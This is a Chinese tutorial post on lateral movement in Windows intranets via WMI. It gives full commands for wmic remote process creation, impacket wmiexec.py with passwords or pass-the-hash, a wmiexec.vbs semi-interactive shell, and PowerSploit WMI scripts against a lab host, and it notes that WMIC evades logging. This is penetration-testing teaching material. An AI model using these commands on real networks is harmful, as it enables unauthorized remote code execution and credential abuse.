WMIC使用

WMIC使用远程创建进程如下 以 administrato 用户连接 192 168 52 140 并在机器上创建一个进程执行 ipconfig 命令 将结果写入 c result txt 文本文件中 由于 wmic 执行远程命令没有回显 所以要将结果写入到 txt 中 wmic node 192 168 52 140 user administrato password 123 comprocessca cmd exe cipconfig gt c result txt

目录

WMI

远程创建进程

wmiexec

wmiexec.py

wmiexec.vbs

Invoke-WmiCommand.ps1

Invoke-WMIMethod


WMI

WMI全称“windows管理规范”,是一个windows服务。从win2003开始一直存在。它原本的作用是方便管理员对windows主机进行管理。因此在内网渗透中,我们可以使用WMI进行横向移动

WMIC就是wmic.exe,位于windows目录底下,是一个命令行程序,用来操作wmi服务,自Windows98开始,Windows操作系统都支持WMIC,

在用WMIC执行命令过程中,操作系统默认不会将WMIC的操作记录在日志中,因为在这个过程中不会产生日志。所以越来越多的攻击者由psexec转向WMIC。

注:使用WMIC连接远程主机,需要目标主机开放135和445端口。(135端口是WMIC默认的管理端,wimcexec使用445端口传回显) 即需要目标关闭防护墙才行

远程创建进程

  • 工作组环境

如下,以administrator用户连接192.168.52.140,并在机器上创建一个进程执行ipconfig命令,将结果写入c:\result.txt文本文件中:(由于wmic执行远程命令没有回显,所以要将结果写入到txt中)

wmic /node:192.168.52.140 /user:administrator /password:123.com process call create “cmd.exe /c ipconfig > c:\result.txt”

/node 指定将对其进行操作的服务器

出现如下提示 说明命令执行成功,成功创建了文件

WMIC使用

如果目标开启了防火墙或者账号密码错误,则会提示RPC服务不可用

WMIC使用

 建立连接后可以使用type命令远程读取192.168.52.140上的执行结果,或者读取其他文件也行

WMIC使用

但是此时我们使用net use查看网络连接显示的是无网络连接,可知这个和ipc$建立的连接还不一样。

WMIC使用

wmiexec

wmiexec是windows自带的wmic的加强版,在渗透过程中使用wmiexec会比wmicpsexec更加方便,这里就介绍几种常用的wmiexec工具进行渗透。

wmiexec.py

首先在github上下载impacket安装包:GitHub – SecureAuthCorp/impacket

使用wmiexec.py脚本进行横向的前提是:

  • 1.目标主机开启了135端口(135端口是WMIC默认的管理端口)
  • 2.目标主机开启了445端口(wimcexec使用445端口传回显)
  • 即 对方防火墙为关闭状态
  • 如果是在域内,远程使用域管或域控账号进行登录则无需关闭防火墙!!

可以私用账户和密码进行连接或者进行hash传递(需lm和NTLM哈希都有)

python wmiexec.py administrator:123.com@192.168.52.140 python wmiexec.py administrator@192.168.52.140 -hashes Lm哈希:NTLM哈希

WMIC使用

WMIC使用

如果对方主机开启了135和445,但是未开启admin$共享,则一直处于连接状态。

WMIC使用

wmiexec.vbs

下载地址:wmiexec.vbs

wmiexec.vbs脚本通过VBS调用WMI来模拟PsExec的功能。其可以在远程系统中执行命令并进行回显,获取远程主机的半交互式Shell。

wmiexec.vbs支持两种模式,一种是半交互式shell模式,另一种是执行单条命令模式。

如下,半交互式的shell

cscript.exe //nologo wmiexec.vbs /shell 192.168.52.140 administrator 123.com

// cscript用于在Windows中执行脚本

WMIC使用

输入如下命令,使用wmiexec.vbs在远程主机上直接执行单条命令:(有回显)

WMIC使用

注意:对于运行时间较长的命令,例如ping、systeminfo等,需要添加“-wait 5000”或更长时间的参数。

Invoke-WmiCommand.ps1

下载地址:Invoke-WmiCommand.ps1

该脚本在PowerSploit中的CodeExecution目录下,该脚本主要是通过powershelI调用WMIC来远程执行命令,因此本质上还是利用WMIC。

该脚本使用如下

#导入脚本 Import-Module .\Invoke-WmiCommand.ps1 #目标系统用户名 $User="administrator" #目标系统密码 $Password=ConvertTo-SecureString -String "123.com" -AsPlainText -Force #将账号和密码整合起来,以便导入 Credential中 $Cred=New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password #在远程系统中运行 ipconfig 命令 $Remote=Invoke-WmiCommand -Payload {ipconfig} -Credential $Cred -ComputerName 192.168.52.140 #将执行结果输出到屏幕上 $Remote.PayloadOutput

WMIC使用

Invoke-WMIMethod

利用 PowerShell 自带的 Invoke-WMIMethod,不需要额外进行下载。可以在远程系统主机上执行命令和指定程序。但不会回显执行结果,即执行如下命令的机器看不到任何结果。

#目标系统用户名 $User="administrator" #目标系统密码 $Password=ConvertTo-SecureString -String "123.com" -AsPlainText -Force #将账号和密码整合起来,以便导入 Credential中 $Cred=New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password #在远程系统中运行 calc.exe 命令 Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList "calc.exe" -ComputerName "192.168.52.140" -Credential $Cred

WMIC使用

命令完成后会在目标系统中运行calc.exe程序,但是不会弹出计算器。

WMIC使用

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/223602.html原文链接:https://javaforall.net

(0)
上一篇 2026年3月17日 下午1:49
下一篇 2026年3月17日 下午1:50


相关推荐

  • 如何使用fdisk

    如何使用fdisk

    2021年7月27日
    61
  • 团队分工

    团队分工

    2021年11月18日
    62
  • java文件上传服务器路径,java文件上传服务器路径地址「建议收藏」

    java文件上传服务器路径,java文件上传服务器路径地址「建议收藏」java文件上传服务器路径地址内容精选换一换已获取自动化工具包,并上传到服务器完成解压,得到完整的软件文件夹tsdbtool。已下载依赖:GCC-7.3.0、CMake-3.5.2的源码包,放到tsdbtool文件夹下的postgresqlDep文件夹中,下载地址见表2。已获取PostgreSQL的源码包或者RPM包,并上传到自动化工具tsdbtool目录下。根据实际环境,完成安装将NFS文件系…

    2022年7月11日
    27
  • 如何修改host文件[通俗易懂]

    如何修改host文件[通俗易懂]一.host是什么:是一个没有扩展名的系统文件,可以用记事本等工具打开二.为何要修改host:1).就是将一些常用的网址域名与其对应的IP地址建立一个关联“数据库”,当用户在浏览器中输入一个需要登录的网址时,系统会首先自动从Hosts文件中寻找对应的IP地址,一旦找到,系统会立即打开对应网页,如果没有找到,则系统会再将网址提交DNS域名解析服务器进行IP地址的解析。**2).加快域名解析** 对于要经常访问的网站,我们可以通过在Hosts中配置域名和IP的映射关系,提高域名解析速度。由于有了

    2022年10月12日
    3
  • 怎么获取股票历史数据?获取股票历史数据Excel

    怎么获取股票历史数据?获取股票历史数据Excel还有吧友在问怎么获取股票历史数据…这个获取股票历史数据Excel的工具再说一次哦!!!亲测可以获取A股、港股、美股所有个股股票历史数据,获取的股票历史数据是Excel文件,方便导入和分析。另外还有A股4000+个股历史数据Excel打包的文件,也是免费的。

    2022年6月24日
    62
  • Python的命名规范「建议收藏」

    Python的命名规范「建议收藏」Python中常用的一些命名规范,遵守代码命名规范,使代码看起更优雅。

    2022年6月25日
    28

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号